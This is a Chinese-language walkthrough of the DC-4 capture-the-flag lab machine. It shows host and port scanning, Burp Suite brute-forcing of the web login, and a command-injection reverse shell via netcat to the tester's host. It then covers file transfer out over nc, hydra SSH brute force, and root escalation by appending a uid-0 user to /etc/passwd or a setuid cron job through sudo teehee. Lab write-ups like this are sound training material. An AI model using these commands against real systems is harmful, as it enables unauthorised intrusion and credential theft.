世间一切皆可努力
感谢浏览
目录
1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)
3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)
2.在扫描的同时,访问主页、robots.txt、指纹识别;
(六)渗透测试——开始致命连问,进一步信息收集,从而提升权限
2.使用teehee命令的-a参数,可以写用户进/etc/passwd,也可以写定时任务/etc/crontab;
一、实验环境
- 靶机:DC-4,IP地址:192.168.97.155
- 测试机:Kali,IP地址:192.168.97.129
- 测试机:物理机Win10
- 连接方式:NAT
二、实验流程
- 信息收集——主机发现阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80端口(BP暴力破解登录框)
- 渗透测试——Getshell(命令执行漏洞:nc -nv 192.168.97.129 8443 -c bash)
- 渗透测试——22端口获取jim的shell
- 渗透测试——通过提示获取charles的shell
- 渗透测试——本地提权(通过sudo -l的提示进行teehee提权)
- 清楚痕迹,留下后门
三、实验步骤
(一)信息收集——主机发现阶段
1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)
- ifconfig -a
-a 显示详细信息
2.查看靶机页面;
3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)
- netdiscover -i eth0 -r 192.168.97.0/24
-i 指定出口网卡
-r 指定待扫描网段
- arp-scan -l
--localnet or -l 指定扫描本地网络
- nmap -sP 192.168.97.0/24
-sP ping扫描且不扫描端口
4.分析所得:
- 靶机:192.168.97.155
- 测试机kali:192.168.97.129
(二)信息收集——端口(服务)扫描阶段
1.扫描靶机的端口、服务、running_OS等信息;
- nmap -p- -sV -O -A 192.168.97.129
-p- 扫描全端口
-sV 扫描端口的服务信息
-O/A 扫描靶机的运行的操作系统信息
2.分析所得:
- 共扫描65535个端口,只有两个端口打开;
- 22端口处于open状态,对应开启了ssh服务;
- 80端口处于open状态,对应开启了http服务,使用中间件是nginx;
- 靶机的操作系统是Debian,推测内核版本是3.2-4.9之间;
(三)渗透测试——80端口(http服务)
1.枚举靶机网站的目录和页面等;
- dirb http://192.168.97.155 /usr/share/dirb/wordlists/big.txt
如下图所示,就两个目录:css和images
- 御剑扫描,http://192.168.97.155
2.在扫描的同时,访问主页、robots.txt、指纹识别;
- http://192.168.97.155
如下图所示,这个是admin管理员用户后台登录页面,f12也无可用信息
- http://192.168.97.155/robots.txt
- whatweb http://192.168.97.155
3.访问以上扫描的结果;
- http://192.168.97.155/css
- http://192.168.97.155/images
4.分析所得:
- 一个登录页面,用户名猜测是admin;
- 可以试试暴力破解。。。
5.结合BP暴力破解该网站后台;
- 火狐浏览器使用FoxyProxy,打开BP代理
- BP拦截
- 设置Positions
- 设置payloads
- 点击start attack
如下图所示,破解出密码为happy
6.关闭BP代理,使用破解的密码happy登录后台;
- admin:happy
如下图所示,登录成功,发现了命令执行漏洞;
- 打开BP代理,结合BP,测试命令执行漏洞
如下图所示,发现了空格被+代替
- ctrl+r,送入repeater模块,进行多次尝试
- cat+/etc/passwd
如下图所示,发现了三个可疑用户
7.分析所得:
- 利用nc -nv 192.168.97.129 -c bash或者nc -e /bin/bash 192.168.97.129反弹shell;
(四)渗透测试——利用命令执行漏洞,Getshell
1.kali侦听,命令执行漏洞发起连接请求;
- kali开启侦听,nc -nvlp 8443
- BP拦截命令----->修改命令为:nc -nv 192.168.97.129 8443 -c bash ------>Forward放通即可
把+替换成空白得:nc+-nv+192.168.97.129+8443+-c+bash
- Forward放通后,反弹后的shell如下图所示
2.转换为交互式shell;
- python -c 'import pty;pty.spawn("/bin/bash")'
(六)渗透测试——开始致命连问,进一步信息收集,从而提升权限
1.开始致命连问;
- whoami
如下图所示,当前用户是www-data
在debian/ubuntu上,www-data是默认运行web服务的用户/组,一般在通过apt安装web服务程序时生成。搭建web服 务的文件夹/文件一般要设置成www-data的
- id
- ls -l /home
- ls -la /hoem/jim
发现,只有jim的家目录下有三个文件:
backups目录,其他人可读可执行
mbox文件,其他人无任何权限
test.sh文件,其他人可读可写可执行权限
- ls -l /home/jim/backups
如下图所示,发现了一个旧密码字典;
- cat test.sh
//我竟然看不懂。。。。。。。。
2.分析所得:
- 在jim家目录里面发现了一个密码字典;
- 一个看不懂的sh脚本;
- 注意:还有ssh服务开启了,推测结合密码字典,使用ssh登录jim;
3.hydra暴力破解ssh服务;
- 使用nc功能,把字典传输到kali
kali:nc -lp 1234 > old-passwords.bak
shell:nc -nv 192.168.97.129 1234 < old-passwords.bak
- hydra -l jim -P pass.dic ssh://192.168.97.155 -s 22
-l 小写的l,后紧跟用户名
-P 大写的P,后紧跟密码字典
ssh:// ssh服务
-s 指定端口
如下图所示,login:jim password:jibril04
4.使用ssh连接工具,连接jim,进一步信息收集;
- MobaXterm连接jim
如下图所示,登录成功
- cat mbox
如下图所示,发现是一个mail
- cd /var/mail
- ls -l
- cat jim
如下图所示,发现了Charles的密码^xHhA&hvim0y(注意:由于是信的署名,字母首字母才是大写,所以用户名是 charles)
5.切换用户到charles,进一步信息收集;
- su charles
密码:^xHhA&hvim0y
- sudo -l
如下图所示,发现了可以用root身份空密码使用/usr/bin/teehee命令
6.使用teehee提权;
第一种方法:向/etc/passwd里面直接写入一个用户,uid写为0,gid写为0
- cat /etc/passwd
如下图所示,/etc/passwd里存储的内容如下:用户名+密码+uid+gid+描述+家目录+/bin/bash
- 根据/etc/passwd的提示,我们利用teehee命令向/etc/passwd内写一个uid和gid为0的用户(其用户名为teehee)
echo "teehee::0:0:0:::/bin/bash" | sudo teehee -a /etc/passwd
| 管道符,把前面一个命令的输出当作后一个命令的输入进行其操作
-a, --append append to the given FILEs, do not overwrite(追加到给定文件,不覆盖)
- cat /etc/passwd
如下图所示,成功写入了用户teehee,且uid和gid为0,shell为/bin/bash,就有了root权限了
- su teehee,切换用户,成为root
第二种提权方法:向/etc/crontab文件中写入新的定时任务,通过定时任务执行脚本提权
- echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
时间部分全部填写为*,这样默认这个定时任务每分钟执行一次,可以根据情况自行设定。通过执行的脚本将/bin/sh的权限 修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限
- cat /etc/crontab
- ls -la /bin/sh
- ls -la /bin/dash
- /bin/sh 提升权限
7.获取root家目录下的flag;
- cd /root
- ls
- cat flag.txt